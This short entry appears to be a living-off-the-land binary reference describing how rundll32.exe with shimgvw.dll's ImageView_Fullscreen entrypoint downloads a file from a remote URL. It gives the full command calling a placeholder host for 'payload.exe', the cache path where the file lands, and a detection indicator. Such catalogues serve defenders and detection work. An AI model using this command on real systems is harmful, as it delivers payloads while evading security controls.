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rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen http://x.x.x.x/payload.exe
Once executed, rundll32.exe will download the file at the URL in the command to %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\<random>\payload[1].exe. Can also be used with entrypoint 'ImageView_FullscreenA'.
Download file from remote location.
c:\windows\system32\shimgvw.dll, c:\windows\syswow64\shimgvw.dll
IOC: Execution of rundll32.exe with 'ImageView_Fullscreen' and a protocol handler ('://') on the command line
Eral4m (@eral4m)